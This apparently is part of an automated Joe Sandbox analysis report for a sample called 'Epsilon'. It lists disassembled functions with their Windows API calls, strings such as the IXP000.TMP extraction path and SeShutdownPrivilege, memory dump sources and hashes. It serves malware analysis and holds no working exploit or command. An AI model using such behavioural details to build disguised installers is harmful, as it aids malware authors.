Instruction Fuzzy Hash: 59214C71A0C945A6E710AB12E9503F9FA91EB8EB82FC58130DD4E52791CF3CE457D610

Function 00007FF737828200 Relevance: 12.1, APIs: 8, Instructions: 136sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF737828964: GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF737828994
Part of subcall function 00007FF737828964: GetCurrentProcessId.KERNEL32 ref: 00007FF7378289A2
Part of subcall function 00007FF737828964: GetCurrentThreadId.KERNEL32 ref: 00007FF7378289AE
Part of subcall function 00007FF737828964: GetTickCount.KERNEL32 ref: 00007FF7378289BA
Part of subcall function 00007FF737828964: GetTickCount.KERNEL32 ref: 00007FF7378289CA
Part of subcall function 00007FF737828964: QueryPerformanceCounter.KERNEL32 ref: 00007FF7378289E5

GetStartupInfoW.KERNEL32 ref: 00007FF737828235
_amsg_exit.MSVCRT ref: 00007FF737828270
Sleep.KERNEL32 ref: 00007FF73782827C
_initterm.MSVCRT ref: 00007FF73782830A
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF737828337
exit.MSVCRT ref: 00007FF7378283C9
_cexit.MSVCRT ref: 00007FF7378283D8
_ismbblead.MSVCRT ref: 00007FF7378283F8

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Current$CountTickTime$CounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThread_amsg_exit_cexit_initterm_ismbbleadexit
String ID:
API String ID: 2995914023-0
Opcode ID: d49111f4b884f1987b7511ab97b886bea71faf8ec09ccfccceaf9d5ebbbc5980
Instruction ID: 4dffd5ab730f831fab369297c8ceb5a3ff74d43f676fa54a135d2d608a4c60ec
Opcode Fuzzy Hash: d49111f4b884f1987b7511ab97b886bea71faf8ec09ccfccceaf9d5ebbbc5980
Instruction Fuzzy Hash: 76516C31A0CA4AA6EB60AB21E8443F5AAE0FF44756FD40531D94D83295DF3DE863F720

Function 00007FF7378260A4 Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF737825050: FindResourceExA.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF737825078
Part of subcall function 00007FF737825050: SizeofResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF737825089
Part of subcall function 00007FF737825050: FindResourceA.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250AF
Part of subcall function 00007FF737825050: LoadResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250C0
Part of subcall function 00007FF737825050: LockResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250CF
Part of subcall function 00007FF737825050: memcpy_s.MSVCRT ref: 00007FF7378250EE
Part of subcall function 00007FF737825050: FreeResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250FD

LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF737823123), ref: 00007FF7378260C9
LocalFree.KERNEL32 ref: 00007FF737826142

Part of subcall function 00007FF737824DCC: LoadStringA.USER32 ref: 00007FF737824E60
Part of subcall function 00007FF737824DCC: MessageBoxA.USER32 ref: 00007FF737824EA0

Part of subcall function 00007FF737827700: GetLastError.KERNEL32 ref: 00007FF737827704

Strings

, xrefs: 00007FF737826198
UPROMPT, xrefs: 00007FF7378260B1, 00007FF73782610E
<None>, xrefs: 00007FF73782615A

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: $<None>$UPROMPT
API String ID: 957408736-2569542085
Opcode ID: 7026594253a11c1acd4dfce0892b575a0df76811d38349c329356a2fbd3cbb48
Instruction ID: bc81aca8455eb34f192dbc9488016fb61acbb973c2d23a30576301a7957dbadb
Opcode Fuzzy Hash: 7026594253a11c1acd4dfce0892b575a0df76811d38349c329356a2fbd3cbb48
Instruction Fuzzy Hash: 08318271B0C24AA7F7206F20E5547FAFE61FB85786F805134CA0E42A91DF7DE416AB20

Function 00007FF737825380 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 164filestringCOMMON

Download Yara Rule

APIs

lstrcmpA.KERNEL32 ref: 00007FF737825407
CreateFileA.KERNELBASE ref: 00007FF7378254C5
CreateFileA.KERNEL32 ref: 00007FF73782557E

Strings

*MEMCAB, xrefs: 00007FF7378253FD

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: CreateFile$lstrcmp
String ID: *MEMCAB
API String ID: 1301100335-3211172518
Opcode ID: fab58b71c17961be18cd8b0539a41123d81d0c9073bbe07ec3ef194c0142598e
Instruction ID: a7e1d9fd297bb5dea1ff717e9a9dcc02c075186db1bab2793dc5e2d544506275
Opcode Fuzzy Hash: fab58b71c17961be18cd8b0539a41123d81d0c9073bbe07ec3ef194c0142598e
Instruction Fuzzy Hash: C66122A2A4D74996F7209F14A5843B9BE91FB45B76F844371DA6E426C0CF3CE023A720

Function 00007FF7378258B0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 152timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32 ref: 00007FF73782598F
LocalFileTimeToFileTime.KERNEL32 ref: 00007FF7378259AD
SetFileTime.KERNELBASE ref: 00007FF7378259D5
SetFileAttributesA.KERNELBASE ref: 00007FF737825A0B
SetWindowTextA.USER32 ref: 00007FF737825A3E

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF73782593B, 00007FF737825A5A

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: FileTime$AttributesDateLocalTextWindow
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 1150793416-1193786559
Opcode ID: 8ba837678c1f67d615ec5eef46cb77bfad3a32e48b5654526580d0bdf889563c
Instruction ID: 55c021de51a8285cba30fd2f6b38bf17fe11a85ab9faef2561c3a3194844d669
Opcode Fuzzy Hash: 8ba837678c1f67d615ec5eef46cb77bfad3a32e48b5654526580d0bdf889563c
Instruction Fuzzy Hash: 1151C532A5EA4AA1EB60AB11E4401FDAF90FF49B52FC45171DA4E432D4CE3CE563D360

Function 00007FF737824C68 Relevance: 10.6, APIs: 7, Instructions: 100COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF73782156E), ref: 00007FF737824C9B
GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF73782156E), ref: 00007FF737824CBC
GetDC.USER32 ref: 00007FF737824CD9
GetDeviceCaps.GDI32 ref: 00007FF737824CF0
GetDeviceCaps.GDI32 ref: 00007FF737824D07
ReleaseDC.USER32 ref: 00007FF737824D20
SetWindowPos.USER32 ref: 00007FF737824D92

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 0d796e944f2108898d7f7223ae91cc33082503468592f481f03ae45c8c0a45dc
Instruction ID: 8c8f70d0e8b2dc8340afec8dff4207b487313dfa343a2be9507195bb4bb01013
Opcode Fuzzy Hash: 0d796e944f2108898d7f7223ae91cc33082503468592f481f03ae45c8c0a45dc
Instruction Fuzzy Hash: 9F316F32B186459AE7109B65E8049FDBFA1F749B9AF985130CE0A63B48CF3DE446DB10

Function 00007FF737826B70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE ref: 00007FF737826BA0

Strings

TMP4351$.TMP, xrefs: 00007FF737826C03

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: AllocLocal
String ID: TMP4351$.TMP
API String ID: 3494564517-2619824408
Opcode ID: 115a3f27e39781d027e0477db835a776448aec340d541b983af64270222d4fc0
Instruction ID: 4805608aba97fd2b8d79d3d1a5992a57f6be5cb8010a16e684e3fad9c7727e59
Opcode Fuzzy Hash: 115a3f27e39781d027e0477db835a776448aec340d541b983af64270222d4fc0
Instruction Fuzzy Hash: 40318B21A0C68997E710AF21A4143BAFE90FB85BA6F845334DA6E02BD5CF3CD4279710

Function 00007FF737825050 Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

FindResourceExA.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF737825078
SizeofResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF737825089
FindResourceA.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250AF
LoadResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250C0
LockResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250CF
memcpy_s.MSVCRT ref: 00007FF7378250EE
FreeResource.KERNEL32(?,?,00000000,00007FF737822E43), ref: 00007FF7378250FD

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID:
API String ID: 3370778649-0
Opcode ID: 3bf69dff85db5cdf34237252cc992bc602bd2b6bf5befdefafbb4c61634c3979
Instruction ID: e902a4779709694bd7be3a88cd277b5e3af84d54edb21e2ba89f58dcdc98263f
Opcode Fuzzy Hash: 3bf69dff85db5cdf34237252cc992bc602bd2b6bf5befdefafbb4c61634c3979
Instruction Fuzzy Hash: 1E115C3170DB8597EB146B62A4040B9FEA0FB4EFC2F899178DD0E93B54DE3CD4529610

Function 00007FF737827AC8 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32 ref: 00007FF737827AF2
LoadResource.KERNEL32 ref: 00007FF737827B09
DialogBoxIndirectParamA.USER32 ref: 00007FF737827B3F
FreeResource.KERNEL32 ref: 00007FF737827B51

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 05ae3199707917ede6f93554733ac842423239086612fc629f4ab3851e21dd44
Instruction ID: c14c59d8eba987f8b9ad2940cf4d46d693a4375744742d4ba67726bb5dad94f9
Opcode Fuzzy Hash: 05ae3199707917ede6f93554733ac842423239086612fc629f4ab3851e21dd44
Instruction Fuzzy Hash: A5116F31A0CB4692EA109B12E4042A9FA60FB59FE6F884634DF5D07B94DF3CD4528B10

Function 00007FF737825690 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF737823B40: MsgWaitForMultipleObjects.USER32(?,?,?,?,?,?,?,?,?,00000001,00007FF737823A09), ref: 00007FF737823B64
Part of subcall function 00007FF737823B40: PeekMessageA.USER32 ref: 00007FF737823B89
Part of subcall function 00007FF737823B40: PeekMessageA.USER32 ref: 00007FF737823BCD

WriteFile.KERNELBASE ref: 00007FF7378256E4

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 98c152f8f55bf9a598385b6332d329f7c6a89d95a4b0cf9b0f7515c751b46731
Instruction ID: c9c79f3929cf86c3e227409290e56f26679cd00b52d9a43148d67c7231512950
Opcode Fuzzy Hash: 98c152f8f55bf9a598385b6332d329f7c6a89d95a4b0cf9b0f7515c751b46731
Instruction Fuzzy Hash: 0621A120A0C54AD6E710AF15E8447B5FFA0FF84B9AF948235D96D066E4CF3CE426DB20

Function 00007FF7378251BC Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE ref: 00007FF7378251C9
SetFileAttributesA.KERNEL32 ref: 00007FF73782524E

Part of subcall function 00007FF737827AC8: FindResourceA.KERNEL32 ref: 00007FF737827AF2
Part of subcall function 00007FF737827AC8: LoadResource.KERNEL32 ref: 00007FF737827B09
Part of subcall function 00007FF737827AC8: DialogBoxIndirectParamA.USER32 ref: 00007FF737827B3F
Part of subcall function 00007FF737827AC8: FreeResource.KERNEL32 ref: 00007FF737827B51

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Resource$AttributesFile$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 2018477427-0
Opcode ID: 2994afcc96e4644f858f991349daac6ec3ef4dc9132b2516fbef1fb9fafb314f
Instruction ID: 3398d0d95ffb900368933ecbe3b5e1b259efe26e1aeeae9cb90446bde2484f67
Opcode Fuzzy Hash: 2994afcc96e4644f858f991349daac6ec3ef4dc9132b2516fbef1fb9fafb314f
Instruction Fuzzy Hash: 2E11CA3194C64AA2F7506B10E5843F4BEA0FB4531AFA84270C95C426E0CF7EE4A7A320

Function 00007FF737827BA8 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CharPrevA.USER32 ref: 00007FF737827BEF

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: fe64812d24aaa535377f96cafa4c6c3212caf3ba105ea9cba34c300c858a7088
Instruction ID: 4952255f4e5df411a91ee20ba5029d6d1f43c805a3b757d52dd99c9aac46e612
Opcode Fuzzy Hash: fe64812d24aaa535377f96cafa4c6c3212caf3ba105ea9cba34c300c858a7088
Instruction Fuzzy Hash: 3C014921A0C7C996F7016F22A8403ADFEA0A701BF1FE89234DB69077D5CB2CD4639710

Function 00007FF737825770 Relevance: 1.3, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF7378257A9

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: b743c40088155ea186d23191c44c420b4fd161faa50afe9f4e766b5de3d239a5
Instruction ID: f379e625c779e22932a122c8355b1df6801ed3f8e387a02571ca750bfc31a5b6
Opcode Fuzzy Hash: b743c40088155ea186d23191c44c420b4fd161faa50afe9f4e766b5de3d239a5
Instruction Fuzzy Hash: 09F0F63164C785E6DB1C6F24F5800B8BA60EB08B5AF404235DE2B476C4CF38C092C720

Non-executed Functions

Function 00007FF737823530 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 174windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 00007FF7378235AA
EndDialog.USER32 ref: 00007FF73782374E
GetDesktopWindow.USER32 ref: 00007FF73782377E
SetWindowTextA.USER32 ref: 00007FF73782379F
SendDlgItemMessageA.USER32 ref: 00007FF7378237C3
GetDlgItem.USER32 ref: 00007FF7378237E0
EnableWindow.USER32 ref: 00007FF7378237F1
EndDialog.USER32 ref: 00007FF737823804

Strings

Adv, xrefs: 00007FF737823795
, xrefs: 00007FF7378236B6
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF737823635

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: Window$DialogItem$DesktopEnableLoadMessageSendStringText
String ID: $Adv$C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 3530494346-2342008264
Opcode ID: 02408ae6c79d5afd0dbd1d350f378b5c084b7eca4ab1b8cbcc717c39842157fc
Instruction ID: 891534d345e1cdf0430a902377d2143b202ca8433881f08abe72668bc2478be3
Opcode Fuzzy Hash: 02408ae6c79d5afd0dbd1d350f378b5c084b7eca4ab1b8cbcc717c39842157fc
Instruction Fuzzy Hash: AE71BB61A0C64AAAFB50BB1195143F9EE91FB89B86FD44130CA4E46BD4CF3CD517A720

Function 00007FF7378211CC Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF737821209
GetProcAddress.KERNEL32 ref: 00007FF73782122B
AllocateAndInitializeSid.ADVAPI32 ref: 00007FF737821278
FreeSid.ADVAPI32 ref: 00007FF7378212A0
FreeLibrary.KERNEL32 ref: 00007FF7378212AF

Strings

advapi32.dll, xrefs: 00007FF7378211FC
CheckTokenMembership, xrefs: 00007FF737821221

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: aca234308d6c2b9a7267944faa7f1f83278d608330c87f71542cc3174e944061
Instruction ID: 0694546b3f061c2b1c7a9eecba8d7a6f32ca8004c0aaf2ab0c71f1498e3be878
Opcode Fuzzy Hash: aca234308d6c2b9a7267944faa7f1f83278d608330c87f71542cc3174e944061
Instruction Fuzzy Hash: 0C312936A0CB499AE6109F16F4441AAFFA0FB89B81F855139EE8E43714DF3CE016DB10

Function 00007FF737821C0C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 64shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF737822D7F), ref: 00007FF737821C21
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,00000000,00007FF737822D7F), ref: 00007FF737821C3A
LookupPrivilegeValueA.ADVAPI32 ref: 00007FF737821C7B
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF737821CB2
CloseHandle.KERNEL32 ref: 00007FF737821CC5
ExitWindowsEx.USER32 ref: 00007FF737821CF1

Strings

SeShutdownPrivilege, xrefs: 00007FF737821C74

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentExitHandleLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 2829607268-3733053543
Opcode ID: 4521cc09d256cc9c0a3583f069d9fa5dc9083d0cfa193007e767185542f0c5c5
Instruction ID: 9fe4cf3e212a2f81c69b52976a78671083df2f5f59c1ec633e8c6bfbd9810b7b
Opcode Fuzzy Hash: 4521cc09d256cc9c0a3583f069d9fa5dc9083d0cfa193007e767185542f0c5c5
Instruction Fuzzy Hash: 62219172A1CA46D7F750AB20E0597BAFFA0FB89746F909135DA4E02A54CF3CD056DB10

Function 00007FF737828964 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF737828994
GetCurrentProcessId.KERNEL32 ref: 00007FF7378289A2
GetCurrentThreadId.KERNEL32 ref: 00007FF7378289AE
GetTickCount.KERNEL32 ref: 00007FF7378289BA
GetTickCount.KERNEL32 ref: 00007FF7378289CA
QueryPerformanceCounter.KERNEL32 ref: 00007FF7378289E5

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: b417f0ca43b0f1a675a55b1394a59fc23cd165e7830d58b26484a22ad4f1a579
Instruction ID: d38b0647bff5b601b7e60659f845e5774b5b3dc02cf5daf50eb8ec306486ebbc
Opcode Fuzzy Hash: b417f0ca43b0f1a675a55b1394a59fc23cd165e7830d58b26484a22ad4f1a579
Instruction Fuzzy Hash: F7115C22A08B499AEB00EF61E8442A877E4FB09759F800A30EA6D47754DF7CE1B69350

Function 00007FF737828790 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF73782879B

Memory Dump Source

Source File: 00000000.00000002.2021514549.00007FF737821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF737820000, based on PE: true

Associated: 00000000.00000002.2021497409.00007FF737820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021532240.00007FF737829000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021548676.00007FF73782C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2021563395.00007FF73782E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff737820000_Epsilon.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
